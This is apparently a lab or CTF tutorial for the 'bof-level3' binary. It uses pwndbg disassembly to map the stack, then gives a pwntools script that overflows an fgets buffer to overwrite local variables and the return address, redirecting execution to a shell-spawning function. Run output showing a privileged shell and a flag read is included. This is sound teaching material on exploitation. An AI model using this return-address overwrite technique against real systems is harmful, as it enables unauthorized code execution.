=================== bof-level3 tutorial =================== Let's get the disassembly. pwndbg> disass receive_input Dump of assembler code for function receive_input: 0x0000000000400740 <+0>: push %rbp 0x0000000000400741 <+1>: mov %rsp,%rbp 0x0000000000400744 <+4>: sub $0x60,%rsp 0x0000000000400748 <+8>: movabs $0x40093b,%rdi <-- 1st arg 0x0000000000400752 <+18>: movabs $0x4242424242424242,%rax 0x000000000040075c <+28>: movabs $0x4141414141414141,%rcx 0x0000000000400766 <+38>: mov %rcx,-0x8(%rbp) 0x000000000040076a <+42>: mov %rax,-0x10(%rbp) 0x000000000040076e <+46>: mov $0x0,%al 0x0000000000400770 <+48>: callq 0x400560 This is a 64-bit binary, and arguments will be passed via registers as follows: 1st arg (rdi), 2nd arg (rsi), 3rd arg (rdx), 4th arg (rcx), 5th arg (r8), and 6th arg (r9). So, 0x0000000000400748 <+8>: movabs $0x40093b,%rdi <-- 1st arg this line sets the first arugment (and there is no setup for rsi, etc.) so this function call is: printf(0x40093b), which is: printf("This is a 64-bit program.\n"); 0x0000000000400775 <+53>: movabs $0x400956,%rdi 0x000000000040077f <+63>: mov %eax,-0x34(%rbp) 0x0000000000400782 <+66>: mov $0x0,%al 0x0000000000400784 <+68>: callq 0x400560 Check rdi. 0x400956 pwndbg> x/s 0x400956 0x400956: "The 1st argument will be passed via rdi, the 2nd will be passed via rsi,\nthe 3rd will be passed via rdx, the 4th will be pased via rcx, etc..\n" pwndbg> printf("The 1st argument will be passed via rdi, the 2nd will be passed via rsi,\nthe 3rd will be passed via rdx, the 4th will be pased via rcx, etc..\n"); And we have 3 args printf() in the following: 0x0000000000400789 <+73>: movabs $0x4009e5,%rdi <-- 1st arg (0x4009e5) 0x0000000000400793 <+83>: mov -0x8(%rbp),%rsi <-- 2nd arg (rbp-8) 0x0000000000400797 <+87>: mov -0x10(%rbp),%rdx <-- 3rd arg (rbp-10) 0x000000000040079b <+91>: mov %eax,-0x38(%rbp) 0x000000000040079e <+94>: mov $0x0,%al 0x00000000004007a0 <+96>: callq 0x400560 And the program stores values such as: 0x0000000000400752 <+18>: movabs $0x4242424242424242,%rax 0x000000000040075c <+28>: movabs $0x4141414141414141,%rcx 0x0000000000400766 <+38>: mov %rcx,-0x8(%rbp) 0x000000000040076a <+42>: mov %rax,-0x10(%rbp) rbp_8 = 0x4141414141414141; rbp_10 = 0x4242424242424242; 0x00000000004007a5 <+101>: movabs $0x400a23,%rdi 0x00000000004007af <+111>: mov %eax,-0x3c(%rbp) 0x00000000004007b2 <+114>: mov $0x0,%al 0x00000000004007b4 <+116>: callq 0x400560 0x00000000004007b9 <+121>: movabs $0x400a77,%rdi 0x00000000004007c3 <+131>: mov %eax,-0x40(%rbp) 0x00000000004007c6 <+134>: mov $0x0,%al 0x00000000004007c8 <+136>: callq 0x400560 Let's skip all printfs, and focus on fgets: 0x00000000004007cd <+141>: mov $0x80,%esi <-- 2nd 0x00000000004007d2 <+146>: lea -0x30(%rbp),%rdi <-- 1st 0x00000000004007d6 <+150>: mov 0x601060,%rdx <-- 3rd 0x00000000004007de <+158>: mov %eax,-0x44(%rbp) 0x00000000004007e1 <+161>: callq 0x400580 Check 0x601060, pwndbg> x/x 0x601060 0x601060 : 0xe0 It's stdin. So the call is: fgets(ebp_30, 0x80, stdin); Let's draw the stack: [rbp + 0x8] return address [rbp] saved rbp [rbp - 0x8] 0x4141414141414141 (AAAAAAAA) [rbp - 0x10] 0x4242424242424242 (BBBBBBBB) [rbp - 0x18] [rbp - 0x20] [rbp - 0x28] [rbp - 0x30] buffer is here 0x00000000004007e6 <+166>: movabs $0x400ad0,%rdi 0x00000000004007f0 <+176>: mov -0x8(%rbp),%rsi 0x00000000004007f4 <+180>: mov -0x10(%rbp),%rdx 0x00000000004007f8 <+184>: mov %rax,-0x50(%rbp) 0x00000000004007fc <+188>: mov $0x0,%al 0x00000000004007fe <+190>: callq 0x400560 Skip this printf (you may reverse engineer this if you wish..) 0x0000000000400803 <+195>: movabs $0x6867666564636261,%rcx 0x000000000040080d <+205>: cmp %rcx,-0x8(%rbp) 0x0000000000400811 <+209>: mov %eax,-0x54(%rbp) 0x0000000000400814 <+212>: jne 0x40085b if (rbp_8 == 0x6867666564636261) { 0x000000000040081a <+218>: movabs $0x4847464544434241,%rax 0x0000000000400824 <+228>: cmp %rax,-0x10(%rbp) 0x0000000000400828 <+232>: jne 0x40085b if (rbp_10 == 0x4847464544434241) { 0x000000000040082e <+238>: movabs $0x400b04,%rdi 0x0000000000400838 <+248>: mov $0x0,%al 0x000000000040083a <+250>: callq 0x400560 0x000000000040083f <+255>: movabs $0x400b3b,%rdi 0x0000000000400849 <+265>: mov %eax,-0x58(%rbp) 0x000000000040084c <+268>: mov $0x0,%al 0x000000000040084e <+270>: callq 0x400560 0x0000000000400853 <+275>: mov %eax,-0x5c(%rbp) 0x0000000000400856 <+278>: jmpq 0x400879 } else{ goto error; } } else { error: 0x000000000040085b <+283>: movabs $0x400b4d,%rdi 0x0000000000400865 <+293>: mov $0x0,%al 0x0000000000400867 <+295>: callq 0x400560 0x000000000040086c <+300>: mov $0xffffffff,%edi 0x0000000000400871 <+305>: mov %eax,-0x60(%rbp) 0x0000000000400874 <+308>: callq 0x4005b0 print something and, exit(-1); } 0x0000000000400879 <+313>: add $0x60,%rsp 0x000000000040087d <+317>: pop %rbp 0x000000000040087e <+318>: retq Let's summarize the code: uint64_t ebp_8 = 0x4141414141414141; uint64_t ebp_10 = 0x4242424242424242; char buffer[0x20]; // at ebp-0x30 fgets(buffer, 0x80, stdin); if (rbp_8 == 0x6867666564636261) { if (rbp_10 == 0x4847464544434241) { printf("something"); } else{ exit(-1) } } else { exit(-1); } To match those two if conditions, we may write 32 bytes of 'A's and then ABCDEFGH (0x4847464544434241) and abcdefgh (0x6867666564636261). Then, the stack will be: [rbp + 0x8] return address [rbp] saved rbp [rbp - 0x8] 0x6867666564636261 (abcdefgh) [rbp - 0x10] 0x4847464544434241 (ABCDEFGH) [rbp - 0x18] (AAAAAAAA) [rbp - 0x20] (AAAAAAAA) [rbp - 0x28] (AAAAAAAA) [rbp - 0x30] buffer is here (AAAAAAAA) However, even if we match both conditions, the program does not call get_a_shell(). How can we call this? -> We may overwrite return address. From the stack, at [rbp + 0x8] (ebp + 0x4 for 32 bit) stores the return address. Because the fgets() call allows us to overwrite upto 128 bytes, we may overwrite return address by adding 16 more bytes to our input. Then, which value to put to overwrite? -> the address of get_a_shell() pwndbg> print get_a_shell $1 = {} 0x4006e0 The function get_a_shell is at: 0x4006e0 So we want to put: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ABCDEFGH abcdefgh AAAAAAAA 0x4006e0 And, we will use pwntools to do this: #!/usr/bin/env python from pwn import * p = process('./bof-level3') buffer = "A" * 32 buffer += "ABCDEFGH" buffer += "abcdefgh" buffer += "AAAAAAAA" # and to put 0x4006e0 as 8 byte little-endian integer, # we need to put \xe0\x06\x40\x00\x00\x00\x00\x00, # and to avoid such an ugly notation, we can use p64() # p64 will convert an integer to little-endian 8-byte string, # and u64 is the inverse of the function # (a little endian 8-byte string to an integer) buffer += p64(0x4006e0); p.sendline(buffer) p.interactive() $ ./exploit.py [+] Starting local process './bof-level3': pid 17168 [*] Switching to interactive mode This is a 64-bit program. The 1st argument will be passed via rdi, the 2nd will be passed via rsi, the 3rd will be passed via rdx, the 4th will be pased via rcx, etc.. Values in two local variables are: a = 0x4141414141414141 b = 0x4242424242424242 Can you change these values to: a = 0x6867666564636261 and b = 0x4847464544434241? Type YES if you agree with this... (a fake message, you may overflow the input buffer). Now the variables store: a = 0x6867666564636261 b = 0x4847464544434241 Great, but I will not execute get_a_shell() for you.. Run it yourself! Spawning a privileged shell $ id uid=1006(red9057) gid=20003(week2-bof-level3-solved) groups=20003(week2-bof-level3-solved),4(adm),27(sudo),1006(red9057) $ cat flag cand{SCRAMBLED_FLAG_IS_HERE}